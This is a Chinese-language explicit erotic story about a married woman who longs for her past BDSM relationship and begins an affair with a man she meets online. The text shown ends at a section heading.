图片载入中

口袋玩偶全

特大字】 【大字】 【中字】 【小字

口袋玩偶

排版:tim118

字数:14378字

(1)

午夜里,电视里面的国片台正在播放香港的三级电影,这些片子名称都大同小异,也没什么值得好特别注意的,偶尔虽然有些不错的演员,如黄秋生、任达华、郑浩南之类,但好像也没人特别去注意他们的演技。女主角方面,虽然有些一看就是想红,但是无论外表跟表演都不怎样的女人,但有时候也会有些很正的美女,愿意拍摄这种电影,把三级片当作是进入演艺圈的跳板,因此而红的女星,也不在少数。

慧吟在客厅里,无意识的看着电视,今天的女主角长的真的很漂亮,皮肤雪白,体态姣好,露出来的大腿更是迷人,但慧吟盯着的,却是绑住女主角、把她固定在沙发上的铁炼,看不出来长相的男主角,从背后贴近女主角,不理会女主角的求饶,上一个镜头是男人的皮带正在解开,下一个镜头就已经是女主角赤裸着全身,带着惊魂未定的表情,裹着铁炼死在沙发上。

铁炼撞击的声音,牵动了慧吟大脑身处的某些神经,勾起了许多场景的回忆。

“那个时候……”慧吟一边想着,一边不自觉的摸起胸口。

土黄色的麻绳,紧紧的将女人的胸口绑住,原本圆润的乳房,被麻绳一上一下的紧缚而挤压变形,乳头像是鸟巢里开口向母鸟要食物的小鸟一样,如此翘立饥渴,但可以满足这种饥渴的那个嘴巴,却距离渴望的乳头好远好远。绳子绑得女人好痛,不管是稍微的扭动身体还是转身,陷入肌肉的麻绳就会痛的更厉害,她哀嚎,但哀嚎当中却又有着深深的满足。她不讨厌这个捆绑她的男人,却因为这个捆绑,而对这个男人更依赖。

“吴慧吟,不会吟,但你的呻吟声很大声呀!而且,你不是不会淫,你是最淫荡的小淫妇了。”男人总是这样说着,不管是在捆绑的时候,还是开车的时候,还是身处在公共场所,贴近她耳边的话语。

名字,是每个人都有,常常被叫,每天都会听到的字眼,但同样这三个字,从男人嘴里说出来,却每次都让慧吟双腿之间湿成一片。

湿,其实还不是最难过最难堪的状况,有时候,精神上的饥渴,才是最恐怖的一件事。

如果一个人,每天的饭量是五碗饭,突然有一天只能吃一碗,那应该会觉得很饿吧!如果有一个女人,已经习惯了每天被插三四次以上,而且随时随地,短裙一撩,就直接等着被插入,万一有一天,突然从一天三四次,变成一次都没有,但是挑逗照旧、甚至更加激烈,连续两个礼拜这样,那么人的欲望会把理智逼到将近崩溃的状态,不管任何时候,看到任何的物品,都会跟性联想在一起。一天要换好几次的内裤,还是挡不住几乎一直在滴水的小穴。而还要被绑在沙发上,逼迫看赤裸劲辣a片,听那些淫声秽语,那更是苦不堪言了。

但这一切,现在回想起来,却都成了甜美的回忆,而且渴望再来一次而不可得。

志伟是个好老公,他顾家、疼老婆,不抽烟不喝酒,没什么不良习惯,是一个人人称羡的好老公,就算在床上,志伟的表现也不差,但是总是少了些什么.慧吟知道这些是什么,也曾经暗示过老公,喜欢老公更粗暴、更激烈一点,但是温柔的志伟总是不忍心对老婆下重手,也不习惯把自己宠爱的老婆当成奴隶一样唿来唤去,别人期待的温柔,却是慧吟不满的所在。

电视上的三级片,已经不知道演到那边了,慧吟的思绪也早就不知道飞到过去的哪一个事件里,然而就像大梦突然被打醒,慧吟一下子突然被拉回现实,发现自己坐在客厅的沙发上,电视上一场莫名其妙的枪战正在开火,透过半掩的房门,慧吟隐约可以看见老公熟睡的样子,刚刚的一切仿佛就是一场梦。

一场真实、淫乱、羞辱、喜悦、背德的梦境。

(2)

凛冽的冷水从莲蓬头中纷纷洒落,落在发热的女体上,乳头受到冷水的刺激,一下子突然硬了起来,剧烈的变化,让慧吟的乳头不禁有一点点小小的疼痛感。

但同时,也是一种快感。

冷水降低了因为欲望而升高的体温,但却无法将过往的那些回忆给冲洗出体外,越是冷静,慧吟对于现况就充满了更多的无力感。她并不是不爱志伟,她爱这个男人给她的安全感跟保护,志伟的家人虽然没有跟这对夫妻俩住在同一个屋檐下,但志伟的妈妈对这个媳妇也是宠爱有加,这是一个幸福的家庭,慧吟在里面是个幸福的老婆,幸福的媳妇,但某些瘾头,却三不五时的在发作,如同毒瘾发作时一样的痛苦跟麻烦。

慧吟还记得,第一次跪下来,舔男人脚指时的羞辱感,当时眼泪决堤,情绪近乎崩溃,很难相信自己一个从小到大就被人称为美女,身边永远不乏爱慕跟追求者的自己,怎么会做出这样的事。

“有一天,你会怀念这个动作,而当你想要这样的满足而求不到时,就是对你最大的惩罚。”男人在慧吟的眼泪前,说过这样的一句话。

而第二次男人脚伸出来时,慧吟已经用一种迫不及待的心情扑了上去,这次反倒是男人故意把脚拿开慧吟的嘴边,看着慧吟就像一个追逐狗饼干的小母狗一样。

“求主人,让小淫奴舔主人的脚指!”一样是决堤的眼泪,但这一次却不是因为羞辱感,而像是小朋友得不到想要的玩具,又急又撒娇的哭泣。

也不过就一天的时间,从排斥到渴望,对于初次接触sm的慧吟来说,这是一个连自己都无法理解的转变。她跟男人的关系,并不是因为sm而结缘,然而两个人在床第之间的相处,却越来越往这个方向前进。做爱时被打屁股会有快感,这是慧吟自己早就知道的刺激,因此打屁股时会联想到插入,这是可以理解的范围,但为什么连这么羞耻的事都会让自己产生渴望?

“因为你渴望被羞辱!你喜欢被占有、被侵犯!能掌握这样的你,就能掌握全部的你,包括你的身体跟灵魂。”

在职场上,慧吟是很强悍的,虽然只是在一个中型的公司,当个上有老板压迫,下有员工打混的中阶主管,但只要有人想恶意整她的单位,那不管对方是那个部门或是什么阶级的,慧吟肯定回击不会手软,甚至于只是背后说她一句闲话,她也常常严词指正,这样的人,如果有人告诉她说:“你渴望被羞辱!”,那肯定会让这位铁娘子火冒三丈,然而对于自己这样的表现跟男人的评语,慧吟却似乎没有什么反驳的余地。

洗完澡出来,床上的志伟早就不知道已经跟周公下几盘棋了,穿上舒服的睡衣,慧吟轻轻的躺到了志伟的身边,已经熟睡的志伟很习惯性的,就把慧吟给抱在怀里,连眼睛都没有睁开。

“老公,我好爱你!”慧吟轻声的跟睡梦中的志伟说着,然后在他脸上轻轻一吻,舒服的在志伟的怀里缓缓入梦。

(3)

也许这一切,都是因为经期快要到的缘故。

不知为什么,今天早上在办公室慧吟就先跟品管部门的叶主任吵了一架,而吵完那一架之后,欲望的念头就开始盘据在慧吟的大脑当中。

“如果这个时候我是全裸坐在这个位置,那么大家会……”

“如果可以贴着那片落地窗,让人从后面插我的话……”

“如果被架在会议式的桌子上,用大字形绑着的话……”

这些毫无来由的幻想,让慧吟一整天思绪完全无法集中在工作上,甚至很破例的,在公司的电脑上打开yahoo的信箱,读起了转寄到信箱当中的色情小说。这是慧吟以往从来没在办公室做过的事。

一个下午,慧吟就跑了三趟的洗手间,不是频尿,而是在那个属于单一女人的私密空间里,让自己用手指在肉穴当中,把那个造成混乱源头的欲望给挖出来。第二次的时候,慧吟就已经把湿透的黑色内裤给脱下来了,已经不想把那种闷热的潮湿给穿回身上去,反正谁也看不到及膝的窄裙里到底有没有穿。也因此当慧吟第三次躲到厕所时,丰沛的淫水已经是流到大腿上,只差五公分,就会流出裙子的守备范围。

跟老板说了声身体不适,下班时间一到,慧吟就准时的回去了,想说早点回家,找老公退退火。

“喂!老婆呀,今天晚上我们要陪欧洲来的几个客户吃饭,晚上会比较晚回去。”

“是喔?!那不要喝太多酒,早点回来。”

“好啦!你不用等门,累了就早点休息。”

“唉!”挂完电话,慧吟长叹了一声,看来今天想靠志伟灭火是行不通了。

不过既然志伟会很晚回来,这倒是给了慧吟一些意料之外的时间。

从衣柜的某个角落,慧吟拿出了一条麻绳,先找好麻绳的中心点,对折,然后将绳子开始套上脖子,绕过胸部,在乳房上绑出深陷的压痕,结起了一个简易型的龟甲缚。

太久没绑,慧吟的动作不免有些生疏,但至少步骤没忘,绑好之后,慧吟对着角落的落地镜,看着自己的模样,突然在欲望之上,又多了一层的情绪。

那是一种既满足又饥渴的感伤。

满足的是那种被绳子围绕的感觉,感伤的是生命中缺少了那样一个可以绑绳子,让自己心甘情愿臣服,用一种甜蜜满足的口吻叫一声“主人”的角色。她希望志伟是,但志伟做不来这一点,就这样,生命中留下一个缺口。这个缺口不会让自己的生活崩盘,也不会真正造成什么不便,但心头上,永远就是有一块无法被满足的地方。

慧吟看了看,觉得似乎还是少了些什么,顺手看到旁边架上志伟的领带夹,拿过来夹在自己的乳头上,这样看起来似乎更满意了些。

慧吟顺手拿起了相机,拍了几张照片。

(4)

在离家不远的夜市里,一个打扮入时的女人独自走在人潮熙嚷的路上,衣服里面什么都没穿,只有一条麻绳捆绑而成的绳衣。

“好久没有这样,穿着绳衣出门逛街了。”慧吟心想。

以往这样出门时,男人总是会在自己身边,一方面会提醒她自己的身份,一方面也算是一种保护,避免遇到一些奇怪的人来骚扰。如今男人不在身边,自己做这样的举动,也算是一项大冒险。

在心理作用的影响下,似乎街上每个人都看穿了慧吟的衣服,看到了那件羞耻的绳衣,就连那些跑到她脚边的小狗,都觉得是闻到她的淫水而被她吸引过来的,这样的刺激感曾经那样的熟悉,如今却只能用这样的方式回味。

在夜市吃完了晚餐,慧吟又小逛了一下才回家,毫无意外的,这次淫水已经流到了膝盖,虽然已经风干,但仍然可以闻到那股浓郁的咸湿味。

脱下了绳衣,慧吟到浴室又冲了个冷水澡,顺便检视自己身上的痕迹,还好不算绑的太紧,虽然有几个比较深的痕迹,但应该很快就会褪去。

冲完澡后,慧吟把自己私藏的情趣用品拿了出来,一个按摩棒,一个跳蛋,然后躺到床上去。慧吟先把按摩棒塞入小穴,然后又涂了点乳液,把跳蛋给塞入菊花,两边同时开震动,很快的就进入连续高潮的昏眩阶段。

等到慧吟有满足感,重新回神时,床单上已经湿了好大的一片,而心中那股无法满足的欲望,也似乎获得了一点点的平息。

重新冲了一次热水澡,这次总算可以好好的把身上的气味冲掉,换成沐浴乳舒服的味道,血液循环比较好之后,似乎身上的绑痕又更消去了。

在志伟回家之前,慧吟已经变回那个乖巧的老婆模样,绳子跟按摩棒已经重新收入衣柜中的角落,床单也已经换过一张还带着熊宝宝气味的干净床单,一整天的欲望折磨仿佛就是突发的闹剧一样,船过水无痕。

“好严重的mc症候群”慧吟如此自我解嘲着。“应该明后天就会来了吧”

十二点过后,志伟还没回家,慧吟不管他,就打算直接先睡了,睡之前,连棉垫都已经准备好了。

一整个晚上,做的都是杂乱无章,没有剧情的春梦。第二天醒来时,不知几时回家的志伟已经睡死在她的身边,“努力工作的男人最可爱”,这句话用在志伟身上一点都没错。慧吟轻轻吻了一下志伟的额头,一股甜甜的幸福感涌上心头,连那些春梦都已经消失无踪。

去上洗手间,安放在内裤里面的棉垫已经开始有一点点的血迹.看来要等到跟志伟做爱,又得要好几天之后了。

(5)

男人不懂女人月经的痛,就像女人不懂男人蛋蛋被踢到的痛是一样的,但还好,慧吟并没有那种无法忍受的经痛,只是就肚子闷闷的,人的气色变差一些而已,但无论如何,这还是一段令人身体不舒服的日子。

身体不舒服,相对的就不会有什么高涨的欲望,更别说流血的小穴也不会是做爱跟自慰的好状况。

于是就这样平静了五天。

月经刚过,志伟迫不及待的就将慧吟扑倒在床上,而慧吟也乐得享受这个期待已久的性生活。只是慧吟也发现,志伟虽然还是温柔依旧,但与志伟的性生活,似乎已经变成一种纯发泄或例行公事。

“也许是缺乏刺激吧?!”慧吟这样心想。

“老公,把我绑起来做好不好?”慧吟试图用一种软性的方式来诱导志伟。

“不要啦!你知道我舍不得绑你的。”

“可是人家觉得这样比较刺激嘛!”

“不要啦!你知道我舍不得,而且等一下我还要早点睡,明天还要开早餐会报。”

这下问题更大了,志伟已经从“不舍得”进化到“懒的做”的地步,人只要一犯懒,就没有挽救的余地了。

办完事,志伟虽然还是体贴的抱着慧吟,但这样的体贴维持不了几分钟,没有呢喃的情话,也没有狂野的说“再来一次”,而是很快的就进入梦乡,又去跟他的周公下棋去了。

慧吟等到志伟熟睡,下了床,却怎样的睡不着。

“难道我的魅力就只有这样了?不要说老公不肯调教我,现在连跟我做爱都这样的敷衍!难道从此我就要过着欲求不满的日子了吗?”一连串的问号,打在慧吟的心上。

睡不着的状况,让慧吟打开电脑,在网路上闲晃着,色情小说区是已经不敢再看了,深怕会让自己引发更大的欲望,而网路拍卖上的那些东西,似乎也吸引不了慧吟多大的兴趣。

“逛逛情趣用品网站吧!”慧吟心想,也许将来自己就得靠这些来满足欲望了。说穿了,这是最大的悲哀。

于是在网路上任意搜寻,找到了一个情趣用品站台,自己就随意的逛了起来。电动按摩棒、仿真阳具、欢乐穿戴系列、变频跳蛋,一堆的选项摊在慧吟的面前,这个站台有一个sm专区,但慧吟连点进去的勇气都没有,深怕已经被埋葬的过去,又重新在这个时候被挖出来。

以前自己单身,想怎么玩都行,但现在自己是人妻,身份不同以往,虽然志伟不一定是最能满足她的男人,但不管怎样,自己也不允许自己就这样帮志伟戴上一顶绿油油的帽子。

在一连串的混乱点击后,自己已经不知道逛到那边去了,只知道突然银幕上出现某个出现一大群自称是sm玩家的地方。

(6)

在跟这群人聊天的过程中,当然不可避免的,遇到了许多人称“小白”的对象,有些一开口就先问身高体重三围年纪的,也有不分三七二十一直接称唿慧吟为“贱奴”,当然这些人,慧吟毫无继续跟他们聊下去的念头,然而也有遇过几个不错的好对象,例如c先生。

c先生也许称不上是什么彬彬有礼的君子,但至少还是个很说话很直接的人,这一点,让慧吟觉得这样的人还算可取。

只不过,当两个人聊到彼此的状况时,倒出现了一个很有趣的现象。

“你有女朋友吗?”慧吟这样问。

“有!不过我女朋友不肯陪我玩sm,她觉得这样很变态。你呢?有男友吗?”

“我没有男友,但,我结婚了。”

“……”

“呵呵!不是说人妻都很抢手的吗?”慧吟笑问。

“我可不想哪天被你老公追杀呀!”

丢下这句话,从此不管慧吟怎样传讯息或是写mail给c先生,他从此不回应联络。

“自己有女友却玩的光明正大,但别的女人有老公却吓到闪的远远的”这是慧吟给c先生的结论。

至于另外一位l先生则是另外不同的状况。l先生没有被人妻的身份吓跑,跟慧吟还是保持着良好的互动,也因此在聊过几次之后,当l先生提议在网路上开始虚拟的调教时,慧吟并没有很强烈的排斥感,反而很想尝试看看这种虚拟的文字游戏,可以延伸到怎样的境界。

只是当这个虚拟的s与m的角色扮演到了一半,l先生突然提议,由慧吟扮演女王,而他扮演男奴,突然给了慧吟一种错乱的感觉。

当然,同时具有s跟m身份的switch在sm的圈子中,并不算是什么太特别的例子,但慧吟从来没有当过女王的角色,也从来没有想过要担任女王的角色,因此当l先生突然这样提议时,慧吟着实是被吓了一大跳。

至少慧吟无法想像,一个平常自己必须恭顺的尊称为主人的人,可以突然之间反转个性,变成让自己玩弄的玩具。

也因此虽然后来l先生还是跟慧吟保持联系,但从那次之后,慧吟就再也拒绝与他玩这种虚拟的调教了。

然后遇上了r先生。

相对于其他的男主,r先生并不喜欢去详细描述他的调教内容,反而喜欢讨论一些关于sm的权力互动机制,或是对于心理层面的影响,也从来不提“收不收奴”或“网路调教”这种,针对与慧吟互动的主题,这样的聊天让慧吟少了许多压力,但也同时对r先生有了更多的兴趣。

一段时间聊下来,慧吟反而变成跟r先生成了无话不聊的好朋友,就连自己跟志伟在床上的问题,也都可以拿出来讲,听听r先生这个男人的意见。

有一天,慧吟跟r先生聊起一些关于彼此的性经验,感觉上r先生讲的不愠不火,反倒是慧吟的欲望不停的攀升,到最后,那种月经前焦躁的渴望再次降临在慧吟身上,慧吟第一次主动向r先生询问。

“你愿意在网路上调教我吗?”

(7)

对百分之九十以上的男人,当女方都已经这样主动开口询问了,应该是要迫不及待答应才是,但r先生偏偏就是那不领情的百分之十。

“我不要!”r先生说的如此斩钉截铁。

“为什么?”熟悉的羞辱感再次降临在慧吟身上,虽然这样的羞辱,不像是以往调教当中,那种赤裸的严词羞辱,但对一个已经主动开口的女人来说,这样的拒绝也绝对不是会感到骄傲的事。

“我不喜欢这种玩假的,要就玩真的!”r先生说的如此的明确坚决。

这下子,反倒是慧吟陷入长考当中。

在网路上玩点刺激的小游戏,至少慧吟自己还能说服自己,并没有让志伟真正的戴绿帽子,而且只要电脑关上,那个肉欲的世界跟挑逗,就可以装作跟自己毫不相干的若无其事,但如果要真正把这个人带入自己的世界,那又是另外一回事,虽然自己无法从志伟身上,得到全部欲望的满足,但志伟毕竟是自己的丈夫,对于婚姻,慧吟还是有自己心中所期待的尊敬与神圣。

“呵呵!你慢慢想吧!反正我也不急着跟你怎样。”r先生这样回应。

“不过,我也不期待,你现在,或是见面之后,就会答应成为我的奴,毕竟,对于收奴这件事,我也是有自己的观察期,不是每一个人都适合的。我们如果见面,我会绑你、打你、羞辱你、但我不需要你叫我一声主人。”

虽然r先生与过去的男人有着很大的风格差异,但两个人都一样是属于那种自信满满,语气坚定的人,这点也让慧吟对r先生有着更大的挣扎与期待。

而另外一个让慧吟迟疑的问题就是,r先生跟自己并不住在同一个城市里,虽然两边的距离不到高速公路两个小时的车程,而且慧吟也知道,只要自己点头,r先生很快就可以到达自己所在的城市,但心理上的距离,远比这个实质的路程来的考验人性。

“既然你不要网路调教,那就再说吧!”对慧吟来说,这是实话,也是借口。

抱着没有被浇熄的欲火,跟志伟吃完晚餐后,慧吟已经忍不住的想从志伟身上得到一些些满足。虽然没有捆绑、没有鞭打、没有那些令人脸红的羞辱字眼,但不管怎说,志伟依旧是自己唯一的合法性伴侣。

用身体不舒服当理由,慧吟早早的就把志伟给骗入房内,而今天的慧吟,更是比平常更来的娇媚,不仅换上了最性感的一套内衣,甚至还主动的帮志伟口交,用迷恋的表情舔着志伟的肉棒,过程中,慧吟不断的发出几可的呻吟声,更是让志伟的冲动顿时爆到高点。

“老婆,今天怎么这么湿?”志伟一边摸着慧吟的小穴,一边已经准备将慧吟的双腿打开,没有前戏,就打算直接插进来。

今天的慧吟,本来就已经不需要太多的前戏,只想一次就被志伟狠狠的插到底。

志伟换了几个姿势,不算小的肉棒就这样在慧吟的体内不断的进出,而身心早就饱受欲火煎熬的慧吟也用不断的高潮回应着志伟的冲击,这应该算的上是两个人最近这段时间以来,最激烈的一次交媾。

终于到了志伟快要射出的时候,慧吟连忙用嘴接住,主动地将志伟的精液全部喝掉,甚至喝完后,还继续吸吮着正在消退的肉棒,一直到肉棒恢复到为勃起前的状态,这才依依不舍的松口。

两个人裸体甜蜜的抱在床上,享受这个最让人放松也最温暖的时刻。

“今天怎么这么主动呀?”志伟笑问,说完后,轻轻吻了一下慧吟的额头。

“人家想呀!那你还给不给我?”慧吟跟志伟撒娇着。

“是很想给呀!不过等一下还得忙明天董事会要交的报告呢!今天大概要忙很晚才有得睡吧!”

“唉!又是公事!怎不把公事在办公室处理完,还要带回家?”慧吟的心里不禁抱怨起这个老公,虽然说当初也是因为志伟认真努力办事的态度,才吸引到自己,甚至愿意将自己的一生交给他,但这个时候她却更恨这种每天忙着工作的态度,正在一点一点的剥夺自己的幸福。

“那你忙你的,我自己找事作吧!”慧吟这样回答志伟。

“就知道你是我的好老婆,你呀,就是那个成功的男人后面最伟大的女人。”志伟抱着慧吟,又亲了一下这个懂事的老婆。

“好吧!那我去忙了。”

志伟放开了抱在怀理的慧吟,起身离开温暖的床铺,一股寒意突然取代了刚刚原本的温暖甜蜜,甜蜜与空虚的反差,让慧吟差点哭了出来。看着志伟抱起笔记型电脑跟一堆资料,走向客厅的茶几,他习惯处理公事的地方,慧吟在床上呆望了好久,这才起身,披起睡衣,准备自己找事做,打发这个夜晚。

志伟在客厅忙得不可开交,慧吟则是在房间内打开自己的电脑,打算上网打发时间。

msn一上线,就看到了r先生丢来的笑脸讯息。

“你什么时候有空来找我?”这是慧吟今天对r先生所说的第一句话。

(8)

说归说,跟r见面并不是一件容易的事,虽然双方的单趟车程不到两个小时,但要能乔到一个双方都有空的时间就是一个大学问,更何况还要跟志伟编造一个空白消失的理由,这就更难了。

是为了报复志伟的冷漠,还是为了从r先生那边,得到自己许久不能满足的被虐感,这点,似乎连慧吟自己都无法确定,唯一只知道的是,这个原本只应该出现在虚拟网路世界中的男人,如今却是活生生的坐在自己的身边。

漫画王的包厢,每家店都不尽相同,有些只是一张布廉,有些则是毫无遮掩,只是圈出一小块自己的空间而已,而有些则是和式房的塌塌米设计,外面还有可以完全闭阖的纸门,外面的人看不见里面发生了什么事,一旦包厢里真有什么问题,外面的人也可以听的一清二楚,算是一个既私密又开放的空间,而现在慧吟跟r正在这样的包厢里,喝着服务员刚刚送来的红茶,一边展开背德的聊天。

“要怎么称唿你呢?”慧吟试探的问着。

“我的本名叫宗翰,你还是叫我r就好了。我知道你叫慧吟,对不对?我在你的msn昵称上有看过。”r一派轻松的回答着。

“是呀,我叫慧吟。”慧吟一边紧张的举起杯子,轻啜了一口。

r轻轻的贴近了慧吟的身边,用手环住慧吟的腰,一边在她的耳边轻轻的说着:“慧吟,你是会呻吟?还是会流淫水的会淫呢?你这个背着老公出来偷男人的小淫娃!”

听到这串熟悉的字眼,慧吟身体仿佛被电流穿透,意识还来不及反应,但身体的分泌已经如水库泄洪般,登时溃决。

r一手褪去慧吟上半身的衣物,一手则是伸入裙底,直接探索慧吟的生理反应。r的动作,温柔中带着一种令人无法反抗的意志力,慧吟连挣扎抵抗的气力都没有,就这样被r给褪去了身上的衣物,很快的,就这样赤裸着坐在漫画王狭小的塌塌米空间里,紧贴着r的身体。

慧吟闻到r身上的香水味,浓郁、野性、带着一种无可抗拒的征服魄力,原本只是预计一场小小的逢场作戏,却变成最低贱卑下的自愿偷情。

“果然是很会流淫水的会淫呢!小淫娃!”r一边说着,一边用两只手指在慧吟的肉穴中猛烈的抠挖,一点怜香惜玉的温柔都没有。

“嗯!”慧吟忍不住小小地应了这么一声,毕竟在这个纸隔的密室当中,不可能像平常在家里或旅馆中一样,可以恣意的大声放纵。

短短不到三分钟,慧吟已经到达了两次的高潮,而第三次正在酝酿到一半。突然间r把手指抽了出来,用沾满淫水的手指在慧吟脸前晃了一晃,两指分开,黏稠的牵丝清晰可见,慧吟想都不想,就含起了r的手指,饥渴的品尝那种淫邪的滋味。

正当慧吟在释放兽性,品尝这种久违的滋味时,眼睛也瞄了一下r的下半身,出乎意外的,r的裤挡一点膨胀的反应都没有,正常的男人看到一个身材姣好的裸体女人,早就已经升旗敬礼了,但r却没有。根据以往与r聊天的经验,慧吟相信,r并不是一个性无能的男人,还是这样的场景对这个男人来说,竟然不够刺激?

刚想到这点,r已经将手指抽出,慧吟只有跪在地上,重新检视这个男人。

似笑非笑的表情下,看得出r并不是一个容易被点燃的人,与其说是面目狰狞的残忍,倒不如说是一种冷漠的镇摄,这种冷血的气质,让慧吟深深的着迷。

(9)

考量到回家面对老公的问题,因此当初慧吟跟r在网路上讨论时,就已经排除了用绳子捆绑的计画,因此现在r从包包拿出来的,则是各式的皮制道具,手铐、脚镣、固定式的拘束器、口枷、跳蛋、按摩棒、肛门塞等。

小小的袋子,仿佛小叮当的神奇口袋一样,有着永远拿不完的道具。

接下来的时间,慧吟多半都被这些拘束的工具给固定住,摆出各种的姿势,有些双腿大开,任凭r玩弄肉穴,有些则是翘高臀部跪着,让敏感的菊花接受各种不同粗度大小的玩具给玩弄。或者,成为r在这个空间中的一个摆饰,成为r阅读漫画时的跨脚垫。至于羞辱的部分,除了言词之外,r并没有更多的举动。

虽然只是短短的几个小时,但慧吟的淫水从未间断的涌出,不只是大腿一直都是潮湿的状态,就连塌塌米上,都留下一滩一滩的水渍。

被这么痛快的玩弄,已经是很久没有过的喜悦了,虽然身体常常呈现一个无法挣扎的姿势,但这样的姿势却比做上几个小时的spa或是一节痛快的泰式按摩来的过瘾.但这样的欲望只有被满足一半。

虽然慧吟的小穴跟菊花,被跳蛋、按摩棒、肛门塞等不同尺寸的玩具插入,但自己最渴望的肉棒,却还依旧珍藏在r的牛仔裤里面,不要说可以喂饱慧吟的肉穴,就连让慧吟的口舌尝个鲜,品尝一下志伟以外的阳具滋味都不可得。

好不容易等到拿下了口枷,恢复了说话的能力,慧吟第一句话就是对r说:“可不可以让我舔你的肉棒?”

r还是那一副不置可否,冷冷淡淡的表情,一边帮慧吟拆下身上的枷锁,一边爱抚着慧吟因为高潮而泛红的身体,看不出有任何想要解开裤子的打算。

“想被鞭打吗?”r突然转移了一个话题。

“什么?”慧吟一下子脑袋还没转过来,被r的问题给楞了一下。

“想被鞭打吗?”r又说了一次,语调平和温柔,跟那种想要鞭打人的力道完全联想不在一起。

“想!”听清楚r的问题后,慧吟回答的非常的迅速跟坚决。

“趴着吧!”r这样说着。

慧吟抱着一个抱枕,很快的趴在塌塌米上,等待r的鞭打。r解下了身上的皮带,站在慧吟的后方,高高的举起了皮带,用力的往慧吟的身上抽了下去。

皮带是一个打起来声音很大,但不会留下什么明显痕迹的工具,r知道,慧吟也知道,但当皮带“咻”的一声打在身上,那种刺热感、疼痛感、以及力量渗入肌肤后反弹回来的快感。

r再次贴近慧吟的耳边细语着:“把人妻收进我的口袋,是最甜美的邪恶。”

慧吟当场流下了眼泪,不是因为痛,而是因为感动。

(10)

原本以为鞭打完之后,自己有机会解开r的裤头,好好品尝r的肉棒,甚至喝下r的精液,但这个算盘慧吟却打错了。

r将皮带收回自己的裤头,把慧吟扶了起来,慧吟还来不及说话,r就开口说:“三十秒后,我就要拉开这个纸门出去买单了,你快点穿衣服吧。”慧吟还来不及表达未满足的欲望,就已经匆匆忙忙的跟着r的脚步,走出了漫画王的门口。

目送着r开车离去,慧吟感觉身体似乎满足了些什么,却又在心里空虚了一个无法填满的大洞。等到r的身影消失在视线外,低头看见自己手上的结婚戒指,这一切的情绪变的更加的复杂。

自己到底作了些什么?破坏了些什么?自己需要些什么?自己又不能违背些什么?一堆的问号绕着慧吟的脑袋打转,身上的残留的疼痛感,清晰的提醒着刚刚自己所做的事。

回到家,今天的志伟格外的殷勤。买了束从蜜月后就不曾送给慧吟的玫瑰,又开了瓶平时舍不得开的红酒,甚至还下厨弄了几道好吃的料理,说是要为之前工作的忙碌而冷落老婆赔罪。

志伟越是殷勤,慧吟的罪恶感就越重,说是因为志伟的体贴而感动的眼泪,其实是为了下午跟r先生发生的事而忏悔的泪珠。

灯光美,气氛佳的晚餐之后,洗了个鸳鸯浴,接下来就是夫妻尽义务的时间了。

今天的慧吟口交时特别带劲,一方面是因为下午从r那边被挑起的欲望没有得到满足,另一方面则是心中自觉理亏的赎罪,至于哪一种的成分比较大些,恐怕还是后者占据了比较多的部分。慧吟捧起了志伟的肉棒,从阴囊开始仔细的向上舔,又把肉棒塞进脸颊里,又将马眼用舌头仔细的吸食,这样的表现,也从志伟今天的呻吟声中,得到肯定的答案。

志伟的肉棒对准了慧吟的肉穴,一次就给予最深的插入,慧吟娇喘一声,开始享受志伟的活塞运动。

但今天,似乎不太对。

这个结婚以来,自己的小穴唯一进入过的一根肉棒,应该是再熟悉不过的了,长度、粗细、甚至是坚硬的程度,慧吟闭着眼都可以形容的一清二楚,就连弯曲的角度,用什么姿势可以顶到哪一个位置,慧吟也都完全记得,但不知道今天为什么,这个肉棒并无法待给慧吟跟往日一样的欢愉,甚至于觉得突兀、有些怪。慧吟一边装出愉快的叫声,一边想着为什么今天会有这样的感觉。帮志伟口交时,这些感觉都如此的清楚,但为什么进入体内后,总觉得不太一样。

当志伟最后将精液射入慧吟的体内时,慧吟终于明白了今天为什么会觉得志伟的肉棒感觉很怪,但这个理由却更怪,更想不明白。

自己的老公,用了好久的肉棒,进入体内的感觉。

竟然是陌生。

(11)

这个晚上,志伟难得的主动要求要第二次。本着补偿的心理,慧吟就让志伟在前戏还不够充分,小穴还不够湿的情况下,再度进入体内。

但这次,慧吟没有欢愉的表情,就连想要假装,也都装不出来。

“老婆!怎么了,太干了,不舒服吗?”志伟察觉到慧吟的表情,体贴的停下来询问。

“身体好像不是很舒服,可能是下午出去逛百货公司时,冷气吹太多,感冒了吧。”慧吟搬出了下午跟r出去约会的借口。

“身体不舒服?还好吧?那先不要做好了。”志伟将肉棒抽出慧吟体外,赶忙摸摸慧吟的额头,看有没有发烧。

“没事啦,先休息一下好了,今天不能满足你,对不起喔,老公!”

“都怪我,你出去逛百货公司,我都忘了提醒你那里的冷气很冷,要多穿件外套。”志伟的语气中,还带着点自责。

“没关系啦,我休息一下就好,让我先睡一觉吧!”慧吟这样说着。

趁着志伟去冲凉,慧吟躺在床上闭眼假寐,但脑子里却是纷乱不堪,近乎爆炸的不停思考各种混乱的片段。

接下来两个月,慧吟的msn没有上线,没有遇到r先生,志伟的房事请求,也都找借口回避掉,甚至连月经前的欲望发作也人间蒸发,消失不见,虽然这个经期慧吟特别的焦躁,甚至开会时连总经理也都杠上。

性冷感。这是只有慧吟自己知道的答案。

慧吟不懂,为什么志伟的肉体,突然变的这么陌生,不懂自己的欲望为什么会突然消失。是因为r先生的关系吗?理论上,r先生点燃的自己埋藏已久的欲望,甚至让自己还有些欲求不满,应该不是祸首。还是说,因为自己背德的压力太大,搞到自己精神与肉体失衡?这似乎是个原因,但慧吟自己已经很努力的说服自己,就是因为背德,所以才要加倍的对志伟好,但每当志伟碰到慧吟的身体时,慧吟就不由自主的想要闪躲。而且,这似乎也无法解释,为什么自己会对志伟的肉体感到陌生。

两个月,慧吟活在自己的世界、痛苦与挣扎当中,她谁也不能去讲,就连老公志伟,也被隔离在这个世界之外。

一直到,某一天男人打电话来,约她吃饭。

男人在离开的时候,跟她说的很清楚,就算以后有机会见面,他们也不可能再是原本的关系了,因此,男人的电话让慧吟意外,但单纯的吃顿饭,却是可以预期的。

毕竟男人说过的话,一向都是很认真,而且也不会反悔的。

由于工作的关系,男人即将到中国去,而且很可能几年之内,都不会回台湾,也因此在这最后的拜访中,慧吟是他的最后一站。虽然跟男人已经不再是sm的主奴关系,慧吟也不必再跪地舔他的脚,叫他主人,但毕竟过往的关系如此亲密,男人这时反而成了慧吟这阵子的苦闷唯一的出口。

男人听慧吟说她的现况,与r先生的会面,与志伟之间的陌生,甚至那个连自己都讲不清楚的性冷感,在男人的面前,慧吟像倒垃圾般全部倒了出来。

(12)

